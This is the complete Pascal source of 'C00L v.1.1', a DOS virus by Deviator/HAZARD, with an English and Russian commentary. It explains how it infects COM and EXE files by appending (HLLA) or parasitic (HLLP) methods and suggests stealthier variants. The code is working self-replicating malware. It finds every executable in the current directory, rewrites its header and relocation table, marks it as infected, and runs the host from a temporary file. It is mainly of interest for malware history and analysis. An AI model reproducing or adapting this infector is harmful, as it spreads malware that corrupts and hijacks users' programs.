01.03.2000 C00L v.1.1 [Deviator]

{ 
Virus Name : C00L v.1.1
Description : Direct action HLLA(appending)/HLLP(parasitic) COM'n'Exe
 infector
Author : Deviator/HAZARD :)

Small Description 
 This virus replicates on all com'n'exe files in current directory. It
 randomly chooses kind of infection - HLLA or HLLP.

 HLLP - High Level Language Parasitic - Virus+Host File. On execution
 virus get control first,creates temporary file,dumps it host and 
 executes it. So there is nothing to say more...
 HLLA - High Level Language Appeding - works almost as simple com/exe
 infector written on ASM (i'we said almost :). So if victim is an .exe
 file,it has exe header. There is such field as Header Size. If we 
 would make this thing equal to the victim size and append HLL code
 (without exe header) to this file we would have working HLLA. Sure ,
 i'll need to keep some own relocations and old .exe header,but it's
 rather newer than HLLP.
 This idea was given by RedArc in MoonBug #11.
 
Описание для англичан закончилось...
 Так вот RedArc предложил классную штуку-HLLA,обидно что я до этого
сам не додумался :). Так вот моя ботва заражает файлы либо по HLLP 
либо по HLLA. Разживается на com'n'exe (HLLA на Com вполне прилично
работает (!)). 
Обломно было добавлять проверку на аттрибуты и тп - это тока тест. 
 Так поразмыслив,пришел к выводу что HLLA ничем не хуже HLLP,только
немного сложнее особенно для начинающих.
 Сравнение Exe вирусов на АСМ'е (стандартная реализация),HLLA,HLLP
                                АСМ             HLLA            HLLP
1. Скорость заражения           Great           Medium          Slow
2. Заражение оверлейных файлов  -               +               +
3. Максимальный размер жертвы   ~620k           ~1040k          unlimited
4. Простота в программировании  Средне          Сложнее Средн.  Фуфло
5. Возможность заражения com    -               +               +

 Почему скорость заражения HLLA medium - потому что не надо создавать
новый файл,переписывать туда свой носитель, всего-то нужно открыть
файл, сохранить старый хедер,записать свой и дописатся в конец.... 
С восстановлением работоспособности аналогично. Тут я сделал по 
простячку - с дополнительныйфайлом, чтоб понятно было.

 Тут еще пару приколов нашел:

1. При упаковании файла зараженного HLLA чем-то что изменяет header
   (pklite, навесные защиты и тп) упаковывается только файл,а header 
   (с носителем внутри)выкидывается ! Во прикол юзерам - после упаковки
   получаем упакованный вирус в чистом виде :)
2. Делая проверку на число в ChkSum в своем header'e можно определить 
   где мы находимся (так сделано в C00L). У меня - если там $1234 - то 
   мы запускаемся из зараженного HLLA. $4321 - HLLP,а если нет,то мы в 
   чистом виде (после компиляции или после сжатия чем-то). Причем длина
   самого вируса берется из header'a,значит после сжатия вируса чем-то ,
   получим абсолютно другой штамм и он будет размножатся именно этой, 
   видоизмененной копией.
3. Пожно поковырятся и сделать вообще HLLA вирус который для запуска 
   жертвы ничего на винт не пишет (раздвинуть header и вставить свои 
   релокейшены). Сохранить Old CS и IP,дописать свой код,поставить entry
   на него с Cs= начало нашего кода,позаражать все вокруг и,предположим ,
   вставкой на АСМе или через модифицирование поинтера выхода вернуть 
   управление жертве...но это уже изврат.
   Как говорит наш препод по программингу - insert раздвигает и вставляет :)
4. HLLA для COM - просто преобразуем com файл в exe 
   (дописыванием своего header'a). Сам .com - как кусок header'a. Начало
   как наш оверлей. (Так было в версии 1.0 а теперь еще и начало как кусок
   нашего header'a - нету глюков c упаковщиками типа PkLite,которые орут
   мол файл с оверлеями)
5. Можно прикольнутся,типа при нахождении упаковщиков/распаковщиков,
   определенных навесных защит начинать извращатся над своей пермутацией
6. Уже пишу HLL Inserting... Хотя вроде он и написан,но коряво :)
7. Ухх замучу Resident,Full Stealth,Полиморфный,Appending вирус на Паскале :))

P.S. Ну RedArc ты даешь,с релокейшенами да и не разобрался,вах вах вах :)

}

{$M $4000,$4000,$9000}

Program Cool;
Uses Dos;

Const
MaxBuf  = 5000;                         { Размер буфера при копировании}
TmpName = 'temp.tmp';                   { Различные филе }
TmpNamez = 'temp.eee';
Type
ExeHdr = Record                         { EXE Header собственной персоной }
       Sig      : Word;                 { Сигнатура }
       PartPage : Word;                 { Количество байт на посл. странице }
       PageCnt  : Word;                 { Кол-во страниц (512байтных кусков)}
       ReloCnt  : Word;                 { Кол-во релокейшенов }
       HdrSize  : Word;                 { Размер header'a в параграфах }
       MinAlloc : Word;                 { Скоко памяти Min }
       MaxAlloc : Word;                 { -""- макс }
       InitSS   : Word;                 { Стартовое SS }
       InitSP   : Word;                 { - "" - SP }
       ChkSum   : Word;                 { Фуфло }
       InitIp   : Word;                 { Ip/Cs }
       InitCs   : Word;
       TablOffs : Word;         { Смещение от начала файла к релокейшенам }
       OvlNo    : Word;                 { Фуфло }
End;

Var
I,O            : File;                  { Описание переменных }
MyHDR,Vx       : ExeHdr;
T              : SearchRec;
X,Y,R          : Integer;
PStr           : String;
MySize         : Word;
P,VH,MyRelo    : Pointer;
Body           : Pointer;
FF             : LongInt;

Procedure InfectHLLA(N:String); { Заражает файлы по принципу дописывания себя }
Begin
       Y := MyHdr.TablOffs+MyHdr.ReloCnt*4;     { Размер нашего header'a }
{ Точнее смещение от начала файла до конца нашей таблицы релокейшенов }
       GetMem(VH,Y);                            { Возьмем немного памяти }
       Seek(i,0);                               { На начало файла }
       BlockRead(i,VH^,Y);                      { Читаем header жертвы }

       Seek(i,0);                               { Снова на начало }

       GetMem(P,MaxBuf);                        { Переписываем данный файл во
                                                  временный }

       Assign(o,TmpName);                       { Поехали }
       Rewrite(o,1);
        repeat
         blockread(i,P^,MaxBuf,X);
         blockwrite(o,P^,x);
        until X=0;
       FreeMem(P,MaxBuf);

       Seek(o,MyHdr.TablOffs);          { Пишим нашу таблицу релокейшенов }
{ Можно патчить наш header,на смещение таблицы релокейшенов сразу после самого
  header'a (1Ch) да облом,так как Pascal автоматом это делает при компиляции }
       BlockWrite(o,MyRelo^,MyHdr.ReloCnt*4);

       Seek(o,filesize(o));             { На конец файла }
       BlockWrite(o,Body^,((FileSize(o)+Y) div 16+1) * 16 - FileSize(o) - Y);
                                        { Делаем размер кратным 16 }
       BlockWrite(o,VH^,Y);             { Пишим старый header }
       MyHdr.HdrSize := FilePos(o) shr 4;
                                        { Расчитываем размер нового header'a }

       BlockWrite(o,Body^,MySize);      { Пишим себя }

       MyHdr.ChkSum  := $1234;          { Метка зараженности }

       MyHdr.PageCnt  := FileSize(o) div 512 + 1;
       MyHdr.PartPage := FileSize(o) mod 512;
                                        { Размер получившегося файла }

       Seek(o,0);                       { На начало файла }
       BlockWrite(o,MyHdr,SizeOf(MyHdr));
                                        { Пишим наш header }

       Close(o);                        { Закрываем }
       FreeMem(VH,Y);                   { Освобождаем }
       Assign(o,t.name);                { Стираем }
       Erase(o);
       Assign(o,tmpname);               { Переименновываем }
       Rename(o,t.name);
End;

Procedure InfectHLLP(N:String);         { Заражаем по принципу HLLP }
Begin
 Assign(i,N);
 Rename(i,tmpname);                     { Переименовываем }
 Assign(o,N);
 Reset(i,1);
 Rewrite(o,1);
 BlockWrite(o,Body,MySize);             { Создаем небольшую область для
                                          нашего header'a и тп }
 Seek(o,MyHdr.TablOffs);                { На начало нашей таблицы релокейшенов }
 BlockWrite(o,MyRelo^,MyHdr.ReloCnt*4); { Пишим ее }
 BlockWrite(o,Body^,(FilePos(o) div 16+1) * 16 - FilePos(o));
                                        { Округляем размер до кратности 16 }
 MyHdr.HdrSize  := FilePos(o) shr 4;    { Новый размер header'a }
 MyHdr.ChkSum   := $4321;               { Метка заражения }
 BlockWrite(o,Body^,MySize);            { Пишим себя }
 MyHdr.PageCnt  := FileSize(o) div 512 + 1;
 MyHdr.PartPage := FileSize(o) mod 512;
                                        { Размер нового файла }
 Seek(o,0);                             { На начало файла }
 BlockWrite(o,MyHdr,SizeOf(MyHdr));     { Пишим наш header }
 Seek(o,Filesize(o));                   { Дописываем жертву }
 Getmem(P,MaxBuf);
  repeat
   blockread(i,P^,MaxBuf,X);
   blockwrite(o,P^,x);
  until X=0;
 FreeMem(P,MaxBuf);
 Close(o);
 Assign(o,tmpname);
 Erase(o);
End;

Procedure Infect(GG:String);            { Процедура заражения директории }
Begin
 FindFirst(GG,AnyFile,T);               { Ищем файл }
 while doserror=0 do
  begin
   Assign(i,T.name);                    { Открываем }
   Reset(i,1);
   BlockRead(i,Vx,SizeOf(Vx));          { Читаем header (если есть) }
   If Vx.Sig = $5a4d then               { Exe ? }
    begin
     if (Vx.Chksum <> $1234) and (Vx.ChkSum <> $4321)
                                        { Заражен ? }
      then If Random(2) = 0 then InfectHLLA(T.Name) else InfectHLLP(T.Name);
    end else
    begin                               { Не exe...заражаем }
     If Random(2) = 0 then InfectHLLA(T.Name) else InfectHLLP(T.Name);
    end;
     Close(i);
  FindNext(T);                          { Следующий }
  end;


End;

Begin
 PStr := 'C00L HLLA/HLLP COM`n`Exe Virus by Deviator/HAZARD'; { (c) }


 Assign(i,paramstr(0));                 { Разгребаем себя }
 Reset(i,1);
 BlockRead(i,MyHdr,SizeOf(MyHdr));      { Читаем свой header }

 Seek(i,MyHdr.TablOffs);                { Читаем свои релокейшены }
 GetMem(MyRelo,MyHdr.ReloCnt*4);
 BlockRead(i,MyRelo^,4*MyHdr.ReloCnt);

 Seek(i,LongInt(MyHdr.HdrSize) shl 4);  { на начало нашей тушки }

 MySize := (MyHdr.PageCnt-1)*512+MyHdr.PartPage-MyHdr.HdrSize shl 4;
                                        { Расчитали свой размер }
 GetMem(Body,MySize);
 BlockRead(i,Body^,MySize);             { читаем }

If MyHdr.ChkSum = $1234 then            { Метка $1234 ? HLLA ?}
 begin
 Assign(o,tmpnamez);                    { Да...Восстанавливаем носитель }
 Rewrite(o,1);
 Y := MyHDR.TablOffs+MyHdr.ReloCnt*4;   { Наш размер Header'a,т.е. скоко
                                          мы затерли }
 Seek(i,LongInt(MyHdr.HdrSize) shl 4 - Y);
                                        { Размер всего header'a - размер 
                                          нашего header'a }
 GetMem(P,Y);
 BlockRead(i,P^,Y);                     { Читаем с конца header'a старый
                                          заголовок нашего носителя }
 BlockWrite(o,P^,Y);                    { Пишим его }
 FreeMem(P,Y);
 GetMem(P,MaxBuf);
 Seek(i,Y);
 repeat
  blockread(i,P^,MaxBuf,X);             { Пишим продолжение жертвы }
  blockwrite(o,P^,x);
 until X=0;
 Close(o);
 FreeMem(P,MaxBuf);
 Pstr := '';
 for X := 1 to Paramcount do Pstr := Pstr + Paramstr(x) + ' ';
                                        { Собираем коммандную строку }
 Exec(tmpnamez,Pstr);                   { Запускаем }
 Assign(o,tmpnamez);
 Erase(o);                              { Стираем }
 end else
If MyHdr.ChkSum = $4321 then            { HLLP ? }
 begin
 Assign(o,tmpnamez);                    { Создаем левый файл }
 Rewrite(o,1);
 Seek(i,(MyHdr.PageCnt-1)*512+MyHdr.PartPage);
                                        { На начало нашего носителя }
 GetMem(P,MaxBuf);
 repeat
  blockread(i,P^,MaxBuf,X);             { Пишим }
  blockwrite(o,P^,x);
 until X=0;
 Close(o);
 FreeMem(P,MaxBuf);
 Pstr := '';
 for X := 1 to Paramcount do Pstr := Pstr + Paramstr(x) + ' ';
                                        { Восстанавливаем коммандную строку }
 Exec(tmpnamez,Pstr);                   { Запускаем }
 Assign(o,tmpnamez);                    { Стираем }
 Erase(o); 
End;

 Close(i);

 Infect('*.exe');                       { Заражаем }
 Infect('*.com');                       { Заражаем }

End.